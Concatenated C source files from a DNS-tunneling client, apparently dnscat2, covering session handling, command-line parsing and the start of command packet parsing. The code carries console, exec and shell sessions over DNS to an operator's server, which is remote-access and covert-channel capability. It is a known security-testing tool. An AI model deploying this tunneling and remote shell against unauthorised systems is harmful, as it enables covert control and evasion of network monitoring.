388 /* Only reset the counter if we want to re-transmit
389 * right away. */
390 if(transmit_instantly_on_data)
391 {
392 you_can_transmit_now(session);
393 session->missed_transmissions = 0;
394 send_right_away = TRUE;
395 }
396 }
397
398 /* Increment their sequence number */
399 session->their_seq = (session->their_seq + packet->body.msg.data_length) & 0xFFFF;
400
401 /* Remove the acknowledged data from the buffer */
402 buffer_consume(session->outgoing_buffer, bytes_acked);
403
404 /* Increment my sequence number */
405 if(bytes_acked != 0)
406 {
407 session->my_seq = (session->my_seq + bytes_acked) & 0xFFFF;
408 }
409
410 /* Print the data, if we received any, and then immediately receive more. */
411 if(packet->body.msg.data_length > 0)
412 {
413 driver_data_received(session->driver, packet->body.msg.data, packet->body.msg.data_length);
414 you_can_transmit_now(session);
415 }
416 }
417 else
418 {
419 LOG_WARNING("Bad ACK received (%d bytes acked; %d bytes in the buffer)", bytes_acked, buffer_get_remaining_bytes(session->outgoing_buffer));
420 }
421 }
422 else
423 {
424 LOG_WARNING("Bad SEQ received (Expected %d, received %d)", session->their_seq, packet->body.msg.seq);
425 }
426
427 return send_right_away;
428 }
429
430 static NBBOOL _handle_fin(session_t *session, packet_t *packet)
431 {
432 LOG_FATAL("Received FIN: (reason: '%s') - closing session", packet->body.fin.reason);
433 you_can_transmit_now(session);
434 session->missed_transmissions = 0;
435 session_kill(session);
436
437 return TRUE;
438 }
439
440 static NBBOOL _handle_error(session_t *session, packet_t *packet)
441 {
442 LOG_FATAL("Received a %s packet in state %s!", packet_type_to_string(packet->packet_type), session_state_to_string(session->state));
443 exit(1);
444 }
445
446 static NBBOOL _handle_warning(session_t *session, packet_t *packet)
447 {
448 LOG_WARNING("Received a %s packet in state %s; ignoring!", packet_type_to_string(packet->packet_type), session_state_to_string(session->state));
449
450 return FALSE;
451 }
452
453 NBBOOL session_data_incoming(session_t *session, uint8_t *data, size_t length)
454 {
455 uint8_t *packet_bytes;
456
457 /* Parse the packet to get the session id */
458 packet_t *packet;
459
460 /* Set to TRUE if data was properly ACKed and we should send more right away. */
461 NBBOOL send_right_away = FALSE;
462
463 /* Suck in any data we can from the driver. */
464 poll_driver_for_data(session);
465
466 /* Make a copy of the data so we can mess around with it. */
467 packet_bytes = safe_malloc(length);
468 memcpy(packet_bytes, data, length);
469
470 /* I no longer want to risk messing with data by accident, so get rid of it. */
471 data = NULL;
472
473 #ifndef NO_ENCRYPTION
474 if(should_we_encrypt(session))
475 {
476 buffer_t *packet_buffer = buffer_create_with_data(BO_BIG_ENDIAN, packet_bytes, length);
477 safe_free(packet_bytes);
478
479 if(!encryptor_check_signature(session->encryptor, packet_buffer))
480 {
481 LOG_WARNING("Server's signature was wrong! Ignoring!");
482 return FALSE;
483 }
484
485 /* Decrypt the buffer. */
486 encryptor_decrypt_buffer(session->encryptor, packet_buffer, NULL);
487
488 /* Switch to the decrypted data. */
489 packet_bytes = buffer_create_string_and_destroy(packet_buffer, &length);
490 }
491 #endif
492
493 /* Parse the packet. */
494 packet = packet_parse(packet_bytes, length, session->options);
495
496 /* Free the memory we allocated. */
497 safe_free(packet_bytes);
498
499 /* Print packet data if we're supposed to. */
500 if(packet_trace)
501 {
502 printf("INCOMING: ");
503 packet_print(packet, session->options);
504 printf("\n");
505 }
506
507 if(session->is_ping && packet->packet_type == PACKET_TYPE_PING)
508 {
509 /* This only returns if the receive is bad. */
510 driver_data_received(session->driver, (uint8_t*)packet->body.ping.data, strlen(packet->body.ping.data));
511 }
512 else
513 {
514 /* Handlers for the various states / messages */
515 packet_handler *handlers[PACKET_TYPE_COUNT_NOT_PING][SESSION_STATE_COUNT];
516
517 #ifndef NO_ENCRYPTION
518 handlers[PACKET_TYPE_SYN][SESSION_STATE_BEFORE_INIT] = _handle_error;
519 handlers[PACKET_TYPE_SYN][SESSION_STATE_BEFORE_AUTH] = _handle_error;
520 #endif
521 handlers[PACKET_TYPE_SYN][SESSION_STATE_NEW] = _handle_syn_new;
522 handlers[PACKET_TYPE_SYN][SESSION_STATE_ESTABLISHED] = _handle_warning;
523
524 #ifndef NO_ENCRYPTION
525 handlers[PACKET_TYPE_MSG][SESSION_STATE_BEFORE_INIT] = _handle_error;
526 handlers[PACKET_TYPE_MSG][SESSION_STATE_BEFORE_AUTH] = _handle_error;
527 #endif
528 handlers[PACKET_TYPE_MSG][SESSION_STATE_NEW] = _handle_warning;
529 handlers[PACKET_TYPE_MSG][SESSION_STATE_ESTABLISHED] = _handle_msg_established;
530
531 #ifndef NO_ENCRYPTION
532 handlers[PACKET_TYPE_FIN][SESSION_STATE_BEFORE_INIT] = _handle_fin;
533 handlers[PACKET_TYPE_FIN][SESSION_STATE_BEFORE_AUTH] = _handle_fin;
534 #endif
535 handlers[PACKET_TYPE_FIN][SESSION_STATE_NEW] = _handle_fin;
536 handlers[PACKET_TYPE_FIN][SESSION_STATE_ESTABLISHED] = _handle_fin;
537
538 #ifndef NO_ENCRYPTION
539 handlers[PACKET_TYPE_ENC][SESSION_STATE_BEFORE_INIT] = _handle_enc_before_init;
540 handlers[PACKET_TYPE_ENC][SESSION_STATE_BEFORE_AUTH] = _handle_enc_before_auth;
541 handlers[PACKET_TYPE_ENC][SESSION_STATE_NEW] = _handle_error;
542 handlers[PACKET_TYPE_ENC][SESSION_STATE_ESTABLISHED] = _handle_enc_renegotiate;
543 #endif
544
545 /* Be extra cautious. */
546 if(packet->packet_type < 0 || packet->packet_type >= PACKET_TYPE_COUNT_NOT_PING)
547 {
548 LOG_FATAL("Received an illegal packet:");
549 packet_print(packet, session->options);
550 printf("\n");
551 exit(1);
552 }
553
554 if(session->state < 0 || session->state >= SESSION_STATE_COUNT)
555 {
556 LOG_FATAL("We ended up in an illegal state: 0x%x", session->state);
557 }
558
559 send_right_away = handlers[packet->packet_type][session->state](session, packet);
560 }
561
562 packet_destroy(packet);
563
564 return send_right_away;
565 }
566
567 void session_kill(session_t *session)
568 {
569 if(session->is_shutdown)
570 {
571 LOG_WARNING("Tried to kill a session that's already dead: %d", session->id);
572 return;
573 }
574
575 session->is_shutdown = TRUE;
576 driver_close(session->driver);
577 }
578
579 void session_destroy(session_t *session)
580 {
581 if(!session->is_shutdown)
582 session_kill(session);
583
584 if(session->name)
585 safe_free(session->name);
586
587 if(session->driver)
588 driver_destroy(session->driver);
589
590 if(session->outgoing_buffer)
591 buffer_destroy(session->outgoing_buffer);
592
593 #ifndef NO_ENCRYPTION
594 if(session->encryptor)
595 encryptor_destroy(session->encryptor);
596 #endif
597
598 safe_free(session);
599 }
600
601 static char *get_name(char *base)
602 {
603 /* This code isn't beautiful, but it does the job and it's only local
604 * stuff anyway (no chance of being exploited). */
605 char hostname[64];
606 buffer_t *buffer = NULL;
607
608 /* Read the hostname */
609 gethostname(hostname, 64);
610 hostname[63] = '\0';
611
612 buffer = buffer_create(BO_BIG_ENDIAN);
613 buffer_add_string(buffer, base);
614 buffer_add_string(buffer, " (");
615 buffer_add_string(buffer, hostname);
616 buffer_add_string(buffer, ")");
617 buffer_add_int8(buffer, 0);
618
619 return (char*)buffer_create_string_and_destroy(buffer, NULL);
620 }
621
622 static session_t *session_create(char *name)
623 {
624 session_t *session = (session_t*)safe_malloc(sizeof(session_t));
625
626 session->id = rand() % 0xFFFF;
627
628 /* Check if it's a 16-bit value (I set it to a bigger value to set a random isn) */
629 if(isn == (isn & 0xFFFF))
630 session->my_seq = (uint16_t) isn; /* Use the hardcoded one. */
631 else
632 session->my_seq = rand() % 0xFFFF; /* Random isn */
633
634 #ifndef NO_ENCRYPTION
635 if(do_encryption)
636 session->state = SESSION_STATE_BEFORE_INIT;
637 else
638 session->state = SESSION_STATE_NEW;
639 #else
640 session->state = SESSION_STATE_NEW;
641 #endif
642 session->their_seq = 0;
643 session->is_shutdown = FALSE;
644
645 session->last_transmit = 0;
646 session->missed_transmissions = 0;
647 session->outgoing_buffer = buffer_create(BO_BIG_ENDIAN);
648
649 #ifndef NO_ENCRYPTION
650 session->encryptor = encryptor_create(preshared_secret);
651
652 if(!session->encryptor)
653 {
654 LOG_FATAL("Failed to generate a keypair!");
655 exit(1);
656 }
657 #endif
658 session->name = NULL;
659 if(name)
660 {
661 session->name = get_name(name);
662 LOG_INFO("Setting session->name to %s", session->name);
663 }
664
665 return session;
666 }
667
668 session_t *session_create_console(select_group_t *group, char *name)
669 {
670 session_t *session = session_create(name);
671
672 session->driver = driver_create(DRIVER_TYPE_CONSOLE, driver_console_create(group));
673
674 return session;
675 }
676
677 session_t *session_create_exec(select_group_t *group, char *name, char *process)
678 {
679 session_t *session = session_create(name);
680
681 session->driver = driver_create(DRIVER_TYPE_EXEC, driver_exec_create(group, process));
682
683 return session;
684 }
685
686 session_t *session_create_command(select_group_t *group, char *name)
687 {
688 session_t *session = session_create(name);
689
690 session->driver = driver_create(DRIVER_TYPE_COMMAND, driver_command_create(group));
691 session->is_command = TRUE;
692
693 return session;
694 }
695
696 session_t *session_create_ping(select_group_t *group, char *name)
697 {
698 session_t *session = session_create(name);
699
700 session->driver = driver_create(DRIVER_TYPE_PING, driver_ping_create(group));
701 session->is_ping = TRUE;
702
703 return session;
704 }
705
706 void debug_set_isn(uint16_t value)
707 {
708 isn = value;
709
710 LOG_WARNING("WARNING: Setting a custom ISN can be dangerous!");
711 }
712
713 void session_enable_packet_trace()
714 {
715 packet_trace = TRUE;
716 }
717
718 void session_set_delay(int delay_ms)
719 {
720 packet_delay = delay_ms;
721 }
722
723 void session_set_transmit_immediately(NBBOOL transmit_immediately)
724 {
725 transmit_instantly_on_data = transmit_immediately;
726 }
727
728 #ifndef NO_ENCRYPTION
729 void session_set_preshared_secret(char *new_preshared_secret)
730 {
731 preshared_secret = new_preshared_secret;
732 }
733 void session_set_encryption(NBBOOL new_encryption)
734 {
735 do_encryption = FALSE;
736 }
737 #endif
738
739 NBBOOL session_is_shutdown(session_t *session)
740 {
741 return session->is_shutdown;
742 }
743
744 char *session_state_to_string(session_state_t state)
745 {
746 switch(state)
747 {
748 #ifndef NO_ENCRYPTION
749 case SESSION_STATE_BEFORE_INIT:
750 return "BEFORE_INIT";
751 case SESSION_STATE_BEFORE_AUTH:
752 return "BEFORE_AUTH";
753 #endif
754 case SESSION_STATE_NEW:
755 return "NEW";
756 case SESSION_STATE_ESTABLISHED:
757 return "ESTABLISHED";
758 case SESSION_STATE_COUNT:
759 return "Unknown!";
760 }
761
762 return "Unknown";
763 };
0 /* session.h
1 * By Ron Bowes
2 * March, 2013
3 *
4 * See LICENSE.md
5 *
6 * A session keeps track of an active dnscat session. That includes
7 * bookkeeping data like sequence/acknowledgement numbers and buffering
8 * data that hasn't been sent yet.
9 */
10
11 #ifndef __SESSION_H__
12 #define __SESSION_H__
13
14 #include "drivers/driver.h"
15 #include "libs/buffer.h"
16 #include "libs/memory.h"
17 #include "libs/types.h"
18
19 #ifndef NO_ENCRYPTION
20 #include "libs/crypto/encryptor.h"
21 #endif
22
23 typedef enum
24 {
25 #ifndef NO_ENCRYPTION
26 SESSION_STATE_BEFORE_INIT,
27 SESSION_STATE_BEFORE_AUTH,
28 #endif
29 SESSION_STATE_NEW,
30 SESSION_STATE_ESTABLISHED,
31
32 SESSION_STATE_COUNT
33 } session_state_t;
34
35 char *session_state_to_string(session_state_t state);
36
37 typedef struct
38 {
39 /* Session information */
40 uint16_t id;
41 session_state_t state;
42 uint16_t their_seq;
43 uint16_t my_seq;
44 NBBOOL is_shutdown;
45 char *name;
46
47 uint64_t last_transmit;
48
49 int missed_transmissions;
50
51 uint16_t options;
52 NBBOOL is_command;
53
54 NBBOOL is_ping;
55
56 driver_t *driver;
57
58 buffer_t *outgoing_buffer;
59
60 #ifndef NO_ENCRYPTION
61 encryptor_t *encryptor;
62
63 /* Used for renegotiation. */
64 encryptor_t *new_encryptor;
65 #endif
66 } session_t;
67
68 /* TODO: re-order and comment these. */
69 session_t *session_create_console(select_group_t *group, char *name);
70 session_t *session_create_exec(select_group_t *group, char *name, char *process);
71 session_t *session_create_command(select_group_t *group, char *name);
72 session_t *session_create_ping(select_group_t *group, char *name);
73
74 void debug_set_isn(uint16_t value);
75
76 NBBOOL session_is_shutdown(session_t *session);
77
78 NBBOOL session_data_incoming(session_t *session, uint8_t *data, size_t length);
79 uint8_t *session_get_outgoing(session_t *session, size_t *packet_length, size_t max_length);
80
81 void session_enable_packet_trace();
82 void session_set_delay(int delay_ms);
83 void session_set_transmit_immediately(NBBOOL transmit_immediately);
84 #ifndef NO_ENCRYPTION
85 void session_set_preshared_secret(char *new_preshared_secret);
86 void session_set_encryption(NBBOOL new_encryption);
87 #endif
88 void session_kill(session_t *session);
89 void session_destroy(session_t *session);
90
91 #endif
0 /* dnscat.c
1 * Created March/2013
2 * By Ron Bowes
3 *
4 * See LICENSE.md
5 */
6 #include <assert.h>
7 #include <ctype.h>
8 #include <errno.h>
9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12 #include <time.h>
13
14 #ifdef WIN32
15 #include "libs/my_getopt.h"
16 #else
17 #include <getopt.h>
18 #include <sys/socket.h>
19 #endif
20
21 #include "controller/controller.h"
22 #include "controller/session.h"
23 #include "libs/buffer.h"
24 #include "libs/ll.h"
25 #include "libs/log.h"
26 #include "libs/memory.h"
27 #include "libs/select_group.h"
28 #include "libs/udp.h"
29 #include "tunnel_drivers/driver_dns.h"
30 #include "tunnel_drivers/tunnel_driver.h"
31
32 /* Default options */
33 #define NAME "dnscat2"
34 #define VERSION "v0.07"
35
36 /* Default options */
37 #define DEFAULT_DNS_HOST NULL
38 #define DEFAULT_DNS_PORT 53
39
40 /* Define these outside the function so they can be freed by the atexec() */
41 select_group_t *group = NULL;
42 driver_dns_t *tunnel_driver = NULL;
43 char *system_dns = NULL;
44
45 typedef struct
46 {
47 char *process;
48 } exec_options_t;
49
50 typedef struct
51 {
52 driver_type_t type;
53 union
54 {
55 exec_options_t exec;
56 } options;
57 } make_driver_t;
58
59 static make_driver_t *make_console()
60 {
61 make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t));
62 make_driver->type = DRIVER_TYPE_CONSOLE;
63
64 return make_driver;
65 }
66
67 static make_driver_t *make_command()
68 {
69 make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t));
70 make_driver->type = DRIVER_TYPE_COMMAND;
71
72 return make_driver;
73 }
74
75 static make_driver_t *make_ping()
76 {
77 make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t));
78 make_driver->type = DRIVER_TYPE_PING;
79
80 return make_driver;
81 }
82
83 static make_driver_t *make_exec(char *process)
84 {
85 make_driver_t *make_driver = (make_driver_t*) safe_malloc(sizeof(make_driver_t));
86 make_driver->type = DRIVER_TYPE_EXEC;
87 make_driver->options.exec.process = process;
88
89 return make_driver;
90 }
91
92 static int create_drivers(ll_t *drivers)
93 {
94 int num_created = 0;
95 make_driver_t *this_driver;
96
97 while((this_driver = ll_remove_first(drivers)))
98 {
99 num_created++;
100 switch(this_driver->type)
101 {
102 case DRIVER_TYPE_CONSOLE:
103 printf("Creating a console session!\n");
104 controller_add_session(session_create_console(group, "console"));
105 break;
106
107 case DRIVER_TYPE_EXEC:
108 printf("Creating a exec('%s') session!\n", this_driver->options.exec.process);
109 controller_add_session(session_create_exec(group, this_driver->options.exec.process, this_driver->options.exec.process));
110 break;
111
112 case DRIVER_TYPE_COMMAND:
113 printf("Creating a command session!\n");
114 controller_add_session(session_create_command(group, "command"));
115 break;
116
117 case DRIVER_TYPE_PING:
118 printf("Creating a ping session!\n");
119 controller_add_session(session_create_ping(group, "ping"));
120 break;
121 }
122 safe_free(this_driver);
123 }
124
125 /* Default to creating a command session. */
126 if(num_created == 0)
127 {
128 num_created++;
129 controller_add_session(session_create_command(group, "command"));
130 }
131
132 return num_created;
133 }
134
135 typedef struct
136 {
137 char *host;
138 uint16_t port;
139 char *server;
140 char *domain;
141 } dns_options_t;
142
143 typedef struct
144 {
145 tunnel_driver_type_t type;
146 union
147 {
148 dns_options_t dns_options;
149 };
150 } make_tunnel_driver_t;
151
152 static void cleanup(void)
153 {
154 LOG_WARNING("Terminating");
155
156 controller_destroy();
157
158 if(tunnel_driver)
159 driver_dns_destroy(tunnel_driver);
160
161 if(group)
162 select_group_destroy(group);
163
164 if(system_dns)
165 safe_free(system_dns);
166
167 print_memory();
168 }
169
170 void usage(char *name, char *message)
171 {
172 fprintf(stderr,
173 "Usage: %s [args] [domain]\n"
174 "\n"
175 "General options:\n"
176 " --help -h This page.\n"
177 " --version Get the version.\n"
178 " --delay <ms> Set the maximum delay between packets (default: 1000).\n"
179 " The minimum is technically 50 for technical reasons,\n"
180 " but transmitting too quickly might make performance\n"
181 " worse.\n"
182 " --steady If set, always wait for the delay before sending.\n"
183 " the next message (by default, when a response is\n"
184 " received, the next message is immediately transmitted.\n"
185 " --max-retransmits <n> Only re-transmit a message <n> times before giving up\n"
186 " and assuming the server is dead (default: 20).\n"
187 " --retransmit-forever Set if you want the client to re-transmit forever\n"
188 " until a server turns up. This can be helpful, but also\n"
189 " makes the server potentially run forever.\n"
190 #ifndef NO_ENCRYPTION
191 " --secret Set the shared secret; set the same one on the server\n"
192 " and the client to prevent man-in-the-middle attacks!\n"
193 " --no-encryption Turn off encryption/authentication.\n"
194 #endif
195 "\n"
196 "Input options:\n"
197 " --console Send/receive output to the console.\n"
198 " --exec -e <process> Execute the given process and link it to the stream.\n"
199 /*" --listen -l <port> Listen on the given port and link each connection to\n"
200 " a new stream\n"*/
201 " --command Start an interactive 'command' session (default).\n"
202 " --ping Simply check if there's a dnscat2 server listening.\n"
203 "\n"
204 "Debug options:\n"
205 " -d Display more debug info (can be used multiple times).\n"
206 " -q Display less debug info (can be used multiple times).\n"
207 " --packet-trace Display incoming/outgoing dnscat2 packets\n"
208 "\n"
209 "Driver options:\n"
210 " --dns <options> Enable DNS mode with the given domain.\n"
211 " domain=<domain> The domain to make requests for.\n"
212 " host=<hostname> The host to listen on (default: 0.0.0.0).\n"
213 " port=<port> The port to listen on (default: 53).\n"
214 " type=<type> The type of DNS requests to use, can use\n"
215 " multiple comma-separated (options: TXT, MX,\n"
216 " CNAME, A, AAAA) (default: "DEFAULT_TYPES").\n"
217 " server=<server> The upstream server for making DNS requests\n"
218 " (default: autodetected = %s).\n"
219 #if 0
220 " --tcp <options> Enable TCP mode.\n"
221 " port=<port> The port to listen on (default: 1234).\n"
222 " host=<hostname> The host to listen on (default: 0.0.0.0).\n"
223 #endif
224 "\n"
225 "Examples:\n"
226 " ./dnscat --dns domain=skullseclabs.org\n"
227 " ./dnscat --dns domain=skullseclabs.org,server=8.8.8.8,port=53\n"
228 " ./dnscat --dns domain=skullseclabs.org,port=5353\n"
229 " ./dnscat --dns domain=skullseclabs.org,port=53,type=A,CNAME\n"
230 #if 0
231 " --tcp port=1234\n"
232 " --tcp port=1234,host=127.0.0.1\n"
233 #endif
234 "\n"
235 "By default, a --dns driver on port 53 is enabled if a hostname is\n"
236 "passed on the commandline:\n"
237 "\n"
238 " ./dnscat skullseclabs.org\n"
239 "\n"
240 "ERROR: %s\n"
241 "\n"
242 , name, system_dns, message
243 );
244 exit(0);
245 }
246
247 driver_dns_t *create_dns_driver_internal(select_group_t *group, char *domain, char *host, uint16_t port, char *type, char *server)
248 {
249 if(!server && !domain)
250 {
251 printf("\n");
252 printf("** WARNING!\n");
253 printf("*\n");
254 printf("* It looks like you're running dnscat2 with the system DNS server,\n");
255 printf("* and no domain name!");
256 printf("*\n");
257 printf("* That's cool, I'm not going to stop you, but the odds are really,\n");
258 printf("* really high that this won't work. You either need to provide a\n");
259 printf("* domain to use DNS resolution (requires an authoritative server):\n");
260 printf("*\n");
261 printf("* dnscat mydomain.com\n");
262 printf("*\n");
263 printf("* Or you have to provide a server to connect directly to:\n");
264 printf("*\n");
265 printf("* dnscat --dns=server=1.2.3.4,port=53\n");
266 printf("*\n");
267 printf("* I'm going to let this keep running, but once again, this likely\n");
268 printf("* isn't what you want!\n");
269 printf("*\n");
270 printf("** WARNING!\n");
271 printf("\n");
272 }
273
274 if(!server)
275 server = system_dns;
276
277 if(!server)
278 {
279 LOG_FATAL("Couldn't determine the system DNS server! Please manually set");
280 LOG_FATAL("the dns server with --dns server=8.8.8.8");
281 LOG_FATAL("");
282 LOG_FATAL("You can also fix this by creating a proper /etc/resolv.conf\n");
283 exit(1);
284 }
285
286 printf("Creating DNS driver:\n");
287 printf(" domain = %s\n", domain);
288 printf(" host = %s\n", host);
289 printf(" port = %u\n", port);
290 printf(" type = %s\n", type);
291 printf(" server = %s\n", server);
292
293 return driver_dns_create(group, domain, host, port, type, server);
294 }
295
296 driver_dns_t *create_dns_driver(select_group_t *group, char *options)
297 {
298 char *domain = NULL;
299 char *host = "0.0.0.0";
300 uint16_t port = 53;
301 char *type = DEFAULT_TYPES;
302 char *server = system_dns;
303
304 char *token = NULL;
305
306 for(token = strtok(options, ":,"); token && *token; token = strtok(NULL, ":,"))
307 {
308 char *name = token;
309 char *value = strchr(token, '=');
310
311 if(value)
312 {
313 *value = '\0';
314 value++;
315
316 if(!strcmp(name, "domain"))
317 domain = value;
318 else if(!strcmp(name, "host"))
319 host = value;
320 else if(!strcmp(name, "port"))
321 port = atoi(value);
322 else if(!strcmp(name, "type"))
323 type = value;
324 else if(!strcmp(name, "server"))
325 server = value;
326 else
327 {
328 LOG_FATAL("Unknown --dns option: %s\n", name);
329 exit(1);
330 }
331 }
332 else
333 {
334 LOG_FATAL("ERROR parsing --dns: it has to be colon-separated name=value pairs!\n");
335 exit(1);
336 }
337 }
338
339 return create_dns_driver_internal(group, domain, host, port, type, server);
340 }
341
342 void create_tcp_driver(char *options)
343 {
344 char *host = "0.0.0.0";
345 uint16_t port = 1234;
346
347 printf(" host = %s\n", host);
348 printf(" port = %u\n", port);
349 }
350
351 int main(int argc, char *argv[])
352 {
353 /* Define the options specific to the DNS protocol. */
354 struct option long_options[] =
355 {
356 /* General options */
357 {"help", no_argument, 0, 0}, /* Help */
358 {"h", no_argument, 0, 0},
359 {"version", no_argument, 0, 0}, /* Version */
360 #if 0
361 {"name", required_argument, 0, 0}, /* Name */
362 {"n", required_argument, 0, 0},
363 {"download",required_argument, 0, 0}, /* Download */
364 {"n", required_argument, 0, 0},
365 {"chunk", required_argument, 0, 0}, /* Download chunk */
366 {"isn", required_argument, 0, 0}, /* Initial sequence number */
367 #endif
368
369 {"delay", required_argument, 0, 0}, /* Retransmit delay */
370 {"steady", no_argument, 0, 0}, /* Don't transmit immediately after getting a response. */
371 {"max-retransmits", required_argument, 0, 0}, /* Set the max retransmissions */
372 {"retransmit-forever", no_argument, 0, 0}, /* Retransmit forever if needed */
373 #ifndef NO_ENCRYPTION
374 {"secret", required_argument, 0, 0}, /* Pre-shared secret */
375 {"no-encryption", no_argument, 0, 0}, /* Disable encryption */
376 #endif
377
378 /* i/o options. */
379 {"console", no_argument, 0, 0}, /* Enable console */
380 {"exec", required_argument, 0, 0}, /* Enable execute */
381 {"e", required_argument, 0, 0},
382 {"command", no_argument, 0, 0}, /* Enable command (default) */
383 {"ping", no_argument, 0, 0}, /* Ping */
384
385 /* Tunnel drivers */
386 {"dns", required_argument, 0, 0}, /* Enable DNS */
387 #if 0
388 {"tcp", optional_argument, 0, 0}, /* Enable TCP */
389 #endif
390
391 /* Debug options */
392 {"d", no_argument, 0, 0}, /* More debug */
393 {"q", no_argument, 0, 0}, /* Less debug */
394 {"packet-trace", no_argument, 0, 0}, /* Trace packets */
395
396 /* Sentry */
397 {0, 0, 0, 0} /* End */
398 };
399
400 int c;
401 int option_index;
402 const char *option_name;
403
404 NBBOOL tunnel_driver_created = FALSE;
405 ll_t *drivers_to_create = ll_create(NULL);
406 uint32_t drivers_created = 0;
407
408 log_level_t min_log_level = LOG_LEVEL_WARNING;
409
410 group = select_group_create();
411 system_dns = dns_get_system();
412
413 /* Seed with the current time; not great, but it'll suit our purposes. */
414 srand((unsigned int)time(NULL));
415
416 /* This is required for win32 support. */
417 winsock_initialize();
418
419 /* Set the default log level */
420 log_set_min_console_level(min_log_level);
421
422 /* Parse the command line options. */
423 opterr = 0;
424 while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != -1)
425 {
426 switch(c)
427 {
428 case 0:
429 option_name = long_options[option_index].name;
430
431 /* General options */
432 if(!strcmp(option_name, "help") || !strcmp(option_name, "h"))
433 {
434 usage(argv[0], "--help requested");
435 }
436 if(!strcmp(option_name, "version"))
437 {
438 printf(NAME" "VERSION" (client)\n");
439 exit(0);
440 }
441 else if(!strcmp(option_name, "isn"))
442 {
443 uint16_t isn = (uint16_t) (atoi(optarg) & 0xFFFF);
444 debug_set_isn(isn);
445 }
446 else if(!strcmp(option_name, "delay"))
447 {
448 int delay = (int) atoi(optarg);
449 session_set_delay(delay);
450 LOG_INFO("Setting delay between packets to %dms", delay);
451 }
452 else if(!strcmp(option_name, "steady"))
453 {
454 session_set_transmit_immediately(FALSE);
455 }
456 else if(!strcmp(option_name, "max-retransmits"))
457 {
458 controller_set_max_retransmits(atoi(optarg));
459 }
460 else if(!strcmp(option_name, "retransmit-forever"))
461 {
462 controller_set_max_retransmits(-1);
463 }
464 #ifndef NO_ENCRYPTION
465 else if(!strcmp(option_name, "secret"))
466 {
467 session_set_preshared_secret(optarg);
468 }
469 else if(!strcmp(option_name, "no-encryption"))
470 {
471 session_set_encryption(FALSE);
472 }
473 #endif
474
475 /* i/o drivers */
476 else if(!strcmp(option_name, "console"))
477 {
478 ll_add(drivers_to_create, ll_32(drivers_created++), make_console());
479
480 /* session = session_create_console(group, "console");
481 controller_add_session(session); */
482 }
483 else if(!strcmp(option_name, "exec") || !strcmp(option_name, "e"))
484 {
485 ll_add(drivers_to_create, ll_32(drivers_created++), make_exec(optarg));
486
487 /* session = session_create_exec(group, optarg, optarg);
488 controller_add_session(session); */
489 }
490 else if(!strcmp(option_name, "command"))
491 {
492 ll_add(drivers_to_create, ll_32(drivers_created++), make_command());
493
494 /* session = session_create_command(group, "command");
495 controller_add_session(session); */
496 }
497 else if(!strcmp(option_name, "ping"))
498 {
499 ll_add(drivers_to_create, ll_32(drivers_created++), make_ping());
500
501 /* session = session_create_ping(group, "ping");
502 controller_add_session(session); */
503 }
504
505 /* Tunnel driver options */
506 else if(!strcmp(option_name, "dns"))
507 {
508 tunnel_driver_created = TRUE;
509 tunnel_driver = create_dns_driver(group, optarg);
510 }
511 else if(!strcmp(option_name, "tcp"))
512 {
513 tunnel_driver_created = TRUE;
514 create_tcp_driver(optarg);
515 }
516
517 /* Debug options */
518 else if(!strcmp(option_name, "d"))
519 {
520 if(min_log_level > 0)
521 {
522 min_log_level--;
523 log_set_min_console_level(min_log_level);
524 }
525 }
526 else if(!strcmp(option_name, "q"))
527 {
528 min_log_level++;
529 log_set_min_console_level(min_log_level);
530 }
531 else if(!strcmp(option_name, "packet-trace"))
532 {
533 session_enable_packet_trace();
534 }
535 else
536 {
537 usage(argv[0], "Unknown option");
538 }
539 break;
540
541 case '?':
542 default:
543 usage(argv[0], "Unrecognized argument");
544 break;
545 }
546 }
547
548 create_drivers(drivers_to_create);
549 ll_destroy(drivers_to_create);
550
551 if(tunnel_driver_created && argv[optind])
552 {
553 printf("It looks like you used --dns and also passed a domain on the commandline.\n");
554 printf("That's not allowed! Either use '--dns domain=xxx' or don't use a --dns\n");
555 printf("argument!\n");
556 exit(1);
557 }
558
559 /* If no output was set, use the domain, and use the last option as the
560 * domain. */
561 if(!tunnel_driver_created)
562 {
563 /* Make sure they gave a domain. */
564 if(optind >= argc)
565 {
566 printf("Starting DNS driver without a domain! This will only work if you\n");
567 printf("are directly connecting to the dnscat2 server.\n");
568 printf("\n");
569 printf("You'll need to use --dns server=<server> if you aren't.\n");
570 tunnel_driver = create_dns_driver_internal(group, NULL, "0.0.0.0", 53, DEFAULT_TYPES, NULL);
571 }
572 else
573 {
574 tunnel_driver = create_dns_driver_internal(group, argv[optind], "0.0.0.0", 53, DEFAULT_TYPES, NULL);
575 }
576 }
577
578 /* Be sure we clean up at exit. */
579 atexit(cleanup);
580
581 /* Start the driver! */
582 driver_dns_go(tunnel_driver);
583
584 return 0;
585 }
0 /* command_packet.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <stdio.h>
7 #include <stdlib.h>
8 #include <string.h>
9
10 #include "libs/buffer.h"
11 #include "libs/log.h"
12 #include "libs/memory.h"
13
14 #ifdef WIN32
15 #include "libs/pstdint.h"
16 #else
17 #include <stdint.h>
18 #endif
19
20 #include "command_packet.h"
21
22 /* Parse a packet from a byte stream. */
23 static command_packet_t *command_packet_parse(uint8_t *data, uint32_t length)
24 {
25 command_packet_t *p = safe_malloc(sizeof(command_packet_t));
26 buffer_t *buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, length);
27 uint16_t packed_id = buffer_read_next_int16(buffer);
28
29 /* The first bit of the request_id represents a response */
30 p->request_id = (packed_id & 0x7FFF);
31 p->is_request = (packed_id & 0x8000) ? FALSE : TRUE;
32
33 p->command_id = (command_packet_type_t) buffer_read_next_int16(buffer);
34
35 switch(p->command_id)
36 {
37 case COMMAND_PING:
38 if(p->is_request)
39 p->r.request.body.ping.data = buffer_alloc_next_ntstring(buffer);
40 else
41 p->r.response.body.ping.data = buffer_alloc_next_ntstring(buffer);
42 break;
43
44 case COMMAND_SHELL:
45 if(p->is_request)
46 p->r.request.body.shell.name = buffer_alloc_next_ntstring(buffer);
47 else
48 p->r.response.body.shell.session_id = buffer_read_next_int16(buffer);
49 break;
50
51 case COMMAND_EXEC:
52 if(p->is_request)
53 {
54 p->r.request.body.exec.name = buffer_alloc_next_ntstring(buffer);
55 p->r.request.body.exec.command = buffer_alloc_next_ntstring(buffer);
56 }
57 else
58 {
